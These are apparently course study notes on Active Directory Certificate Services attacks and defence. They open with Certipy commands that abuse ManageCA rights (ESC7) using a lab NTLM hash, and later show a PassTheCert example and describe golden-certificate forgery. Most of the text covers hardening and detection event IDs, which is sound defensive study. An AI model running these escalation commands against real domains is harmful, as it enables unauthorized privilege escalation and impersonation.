If you do not possess the ManageCertificates right, you can use existing ManageCA rights to add yourself as a new officer. Here’s how to do it with Certipy:

  1. Add Yourself as an Officer 
    certipy ca -u internaluser@internal.corp -hashes 'aad3b435b51404eeaad3b435b51404ee:6ca67841f08c8c73baf4d93ca16e7760' -ca 'CB-CA' -dc-ip 172.16.203.1 -target ca.corp -add-officer internaluser
  2. Enable the SubCA Template 
    certipy ca -u internaluser@internal.corp -hashes 'aad3b435b51404eeaad3b435b51404ee:6ca67841f08c8c73baf4d93ca16e7760' -ca 'CB-CA' -dc-ip 172.16.203.1 -target ca.corp -enable-template 'SubCA'

Risks and Implications

  • Privilege Escalation: By abusing the ManageCA and ManageCertificates rights, low-privilege users can escalate their privileges, allowing them to issue unauthorized certificates.
  • Misconfiguration Exploitation: The potential to misconfigure CA settings increases the risk of unauthorized certificate issuance, leading to possible domain compromise.

Certificate Forgery and Authentication Attacks

Stolen CA Keys (DPERSIST1)

  • Once local admin rights are obtained on a Certificate Authority (CA) (e.g., through misconfigured ACLs), it is possible to forge valid user or computer certificates by stealing and using the RootCA certificate and private key.
  • This method is commonly referred to as the Golden Cert Attack, which is analogous to the Golden Ticket Attack (stealing the KRBTGT hash).

Risks and Implications

  • Unauthorized Access: By forging certificates, attackers can impersonate any user or device, gaining unauthorized access to sensitive systems and data.
  • Trust Exploitation: This attack undermines the trust model of PKI, allowing attackers to bypass authentication controls.

Azure Certificate-based Authentication

  • Compromising a trusted Certificate Authority (either AD CS or any third-party CAs) that is recognized by an Azure AD environment allows attackers to forge certificates and impersonate any user within the target Azure AD tenant.

Risks and Implications

  • Impersonation: Attackers can perform actions as legitimate users, potentially leading to data breaches and unauthorized system access.
  • Compromise of Trust: The integrity of the Azure AD environment is at risk, as trusted certificates can be exploited to validate malicious actions.

Passwordless Persistence using Certificate-based Authentication (CBA)

  • In Active Directory Certificate Services (AD CS) environments, Certificate-Based Authentication (CBA) allows for authentication without the use of passwords, provided Multi-Factor Authentication (MFA) is not enforced.
  • Azure AD similarly supports passwordless authentication using certificates.

Risks and Implications

  • Increased Attack Surface: The lack of password usage can lead to an increased reliance on the security of the certificates. If these certificates are compromised, attackers can authenticate without additional verification.
  • Persistence: Attackers may leverage certificate-based authentication for persistent access to environments, making detection and remediation challenging.

Defense – Prevention and Detection

Microsoft’s Guidance

Key Recommendations

  • Ensure that the CBA patch (KB5014754) is installed on all CAs and Sub CAs.
  • Set the StrongCertificateBindingEnforcement registry key in Full Enforcement mode to 2.

Prevention Measures

PREVENT1: Treat CAs and Sub CAs as Tier 0 Assets

Tier 0 includes users, groups, machines, roles, etc., that have an organization-wide impact, such as:

  • Domain Controllers
  • Domain Admins
  • Azure AD Connect Servers

PREVENT2: Harden CA Settings

  • After applying the CBA patch that fixes EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA, implement the following hardening measures:
    • Restrict who can act as an enrollment agent.
    • Audit and harden ACLs of CA servers to protect against vulnerabilities like ESC7.

Enrollment Agent Restrictions:

  • Limit the ability to act as an enrollment agent on specific templates to reduce the attack surface.
  • Access settings via: Certsrv.msc -> Right Click -> Properties -> Enrollment Agents Tab

PREVENT3: Audit Published Templates

  • Regularly check for unnecessary published templates to reduce the attack surface.

Templates to Audit:

Category ESC Description
PREVENT3: Audit Published Templates ESC1 Enrollee can request cert for ANY user (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Client Authentication/Smart Card Logon EKU)
  ESC2 Enrollee can request cert for ANY user (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Any Purpose EKU or no EKU)
  ESC3 Request an enrollment agent certificate (Application Policy - Certificate Request Agent) and use it to request a cert on behalf of ANY user (Certificate Request Agent EKU)
  ESC4 Vulnerable ACLs (GenericWrite) over AD CS Certificate Templates
  ESC7 Vulnerable Certificate Authority Access Control Roles (ManageCA and ManageCertificate)

PREVENT4: Harden Certificate Template Settings

Important Template Settings to Audit:

  • Enrollment Rights on Templates
  • Template Owner
  • Permissions: FullControl, WriteDacl, WriteOwner, or WriteProperty permissions on the template.
  • Extended Key Usages (EKUs): Ensure appropriate EKUs such as Client Auth, PKINIT Client Auth, Smart Card Logon, Any Purpose, and SubCA are configured correctly.
ESC Description Mitigation
ESC1 Enrollee can request a certificate for ANY user (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Client Authentication/Smart Card Logon EKU) Restrict permissions and validate subject names to ensure users can only request certificates for themselves or authorized users.
ESC2 Enrollee can request a certificate for ANY user (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Any Purpose EKU or no EKU) Limit the enrollment rights and ensure that EKUs are appropriately configured to prevent unauthorized certificate requests.
ESC3 Request an enrollment agent certificate (Application Policy - Certificate Request Agent) and use it to request a certificate on behalf of ANY user (Certificate Request Agent EKU) Implement strict controls over who can act as an enrollment agent, and regularly audit and monitor enrollment agent certificates.
ESC4 Vulnerable ACLs (GenericWrite) over AD CS Certificate Templates Audit and harden the ACLs for certificate templates, ensuring that only authorized users have the necessary permissions to modify or manage certificate templates.
Category Description
PREVENT5: Audit NTAuthCertificates Certificates in the NTAuthCertificates are used as CA certificates.
  Regularly audit if the certificates in that container are the correct ones.
  Protects from attacks like DPERSIST2 - Forge ANY domain certificate using stolen external Trusted Root certificate and private keys (added to root/intermediate/NTAuthCAcertificates container).
Category Description
PREVENT8: Harden AD CS HTTP Endpoints Remove the HTTP endpoints if not required!
  If HTTP endpoints are required, disable NTLM authentication both on AD CS Server and IIS.
  If NTLM can’t be disabled, enforce HTTPS and enable Extended Protection Authentication.

Detection

Configure Auditing using Group Policy

  • Navigate to:
    • Group Policy ->
    • Computer Configuration ->
    • Windows Settings ->
    • Security Settings ->
    • Advanced Audit Policy Configuration ->
    • Object Access ->
    • Audit Certification Services
  • Configure Success and Failure

Enable CA Auditing

  • Go to Certsrv.msc
  • Right-click and select Properties
  • Navigate to the Auditing Tab and check all the Events to Audit

Detection Events

Event ID Description
4886 Certificate request Security Event. Missing template names and request parameters (e.g., SubjectAlternativeName).
4887 Certificate issuing Security Event. Also misses important details.
4898 Indicates Certificate Services loaded a template. Contains all details of a template, but logged only for:
  - First-time enrolment since CA service start.
  - First-time enrolment since any changes to the template.

Additional Information

  • Event for LO-10: Requesting certificate from StoreDataRecovery-Agent template.

CA Configuration Change Events

Event ID Description
4890 The certificate manager settings for Certificate Services changed.
4891 A configuration entry changed in Certificate Services.
4892 A property of Certificate Services changed.

DETECT1 - Monitor User/Machine Certificate Enrollments

  • DETECT1 focuses on monitoring user and machine certificate enrollments.

Commands to List Certificate Signing Requests (CSRs)

Description Command
List all CSR that specified SAN Get-CertRequest -HasSAN
List all CSR that specified SAN and requested DA certificate Get-CertRequest -HasSAN | ?{$_.SubjectAltNamesExtension -match "administrator"}
List CSRs based on a template if audited templates are known Get-CertRequest | ?{$_.CertificateTemplate -match "Secure Update"}
List CSRs (probably) made from a remote machine Get-CertRequest | ?{$_.RequesterProcessName -eq "$null"}
Persistence Technique Description
PERSIST1 User account persistence using new certificate requests.
PERSIST2 Computer account persistence using new certificate requests.
ESC1 Enrollee can request cert for ANY user (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Client Authentication/Smart Card Logon EKU).
ESC2 Enrollee can request cert for ANY user (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Any Purpose EKU or no EKU).
ESC3 Request an enrollment agent certificate (Application Policy - Certificate Request Agent) and use it to request a cert on behalf of ANY user (Certificate Request Agent EKU).
ESC4 Vulnerable ACLs (GenericWrite) over AD CS Certificate Templates.

DETECT2 - Monitor Authentication Using Certificates

  • DETECT2 focuses on monitoring authentication using certificates, with two methods used in the lab:

Methods Used

Method Event IDs
PKINIT 4768
Schannel 4769, 4648, and 4624

PKINIT Detection

Monitoring abnormal usage of PKINIT by a user can be used for detection. Abnormal usage could include:

  • Using a certificate of a high privilege user.
  • Using a certificate of a user from a new machine.
  • Using a forged CA certificate.
  • Using a high privilege user certificate shortly after it was issued.

Schannel Detection

  • When Schannel is used, events 4769, 4648, and 4624 are logged on the DC.
  • Event 4624 is the most helpful. Looking for “Logon Process” in 4624 is the best way to find Schannel usage.

Example Command

PS C:\ADCS\Tools>.\PassTheCert.exe --server dc.corp --cert-path C:\ADCS\certs\user.pfx --cert-password "Passw0rd!" --whoami
Technique Description
THEFT5/Pass-the-Cert Using the Kerberos PKINIT protocol to retrieve a User/Computer account’s NTLM hash.
DPERSIST1 Forge ANY domain certificate using stolen CA Root certificate and private keys.
DPERSIST2 Forge ANY domain certificate using stolen external Trusted Root certificate and private keys (added to root/intermediate/NTAuthCAcertificates container).
ESC1 Enrollee can request cert for ANY user (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Client Authentication/Smart Card Logon EKU).
ESC2 Enrollee can request cert for ANY user (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Any Purpose EKU or no EKU).
ESC3 Request an enrollment agent certificate (Application Policy - Certificate Request Agent) and use it to request a cert on behalf of ANY user (Certificate Request Agent EKU).
ESC4 Vulnerable ACLs (GenericWrite) over AD CS Certificate Templates.

DETECT3 - Monitor CA Backup Events

  • DETECT3 focuses on monitoring CA backup events, generating the following:
Event ID Description
5058 Key File operation
5061 Cryptographic operation
5059 Key migration operation

DETECT4 - Monitor Certificate Template Modifications

  • DETECT4 focuses on monitoring changes to certificate templates:
Event ID Description
4899 A Certificate Services template was updated.
4900 Certificate Services template security was updated (ACL change).

NOTE: Both 4899 and 4900 are not logged when the template is changed but when the first enrollment happens after the change.

  • Event 4662 (An operation was performed on an object) can be used by configuring auditing on the template.

DETECT2 - Monitor Authentication Using Certificates

  • DETECT2 focuses on monitoring authentication using certificates.
Technique Description
PERSIST3 User/Computer Account persistence by certificate renewal before expiration.
ESC4 Vulnerable ACLs (GenericWrite) over AD CS Certificate Templates.

DETECT5 - Logging Reading of DPAPI Encrypted Keys

  • DETECT5 involves logging the reading of DPAPI Encrypted Keys.
  • Configuring auditing on DPAPI master key files and private key files to generate Event ID 4662 would be useful.

Techniques

  • Hunting for vulnerable templates seems to be the best way. PSPKIAudit can be used for that!
  • Below are typical events for each attack technique (deliberately not adding DETECT techniques here):
Attack Technique Relevant Event IDs and Description
ESC1 and ESC2 Certificate Services loaded a template (4898).
ESC3 4898 and Certificate Services approved a certificate request and issued a certificate (4887). Check if Requester and Subject are different in 4887.
ESC4 4898, A directory service object was modified (5136), 4899, and 4900.
ESC5 5136 to detect use of Rogue Certificate (Modification of NTAuthCertificates). In ESC5, we abused RBCD in the lab.
ESC7.1 Approved failed CSR in the lab. Look for authentication using certificates (DETECT2).
ESC8 An account was successfully logged on (4624) with NTLM authentication.

Shadow Credentials

  • Audit for changes to msDS-KeyCredentialLink!
  • Like any audit configuration, ensure to have a baseline of what is “normal”.
  • Event IDs 5136 (A directory service object was modified) and 4662 (An operation was performed on an object) would be logged on changes to msDS-KeyCredentialLink.
  • GUID for msDS-KeyCredentialLink: 5b47d60f-6090-40b2-9f37-2a4de88f3063 (visible in “Properties” of 4662).

UnPAC-The-Hash

UnPAC-The-Hash works with the following options set in the Service Ticket request:

  • Forwardable
  • Renewable
  • Canonicalize
  • Enc_tkt_in_skey

  • Renewable_ok

  • This results in the “Ticket Options” of the corresponding event 4769 being 0x40810018, which can be used to detect UnPAC-The-Hash.

S4U2SELF

  • S4U2SELF works by requesting a TGS/Service Ticket for itself.
  • This results in the “Account Information” and “Service Information” of the corresponding event 4769 containing the same names.
  • This can be used to detect S4U2SELF.
  • Note that the “Ticket Options” of the corresponding event 4769 is 0x40810018, just like UnPAC-The-Hash.

NOTES from the ADCS course by Altered Security.

Check out their content! When u have videos explaining step by step, labs to practice and a structure content is of course way better to learn.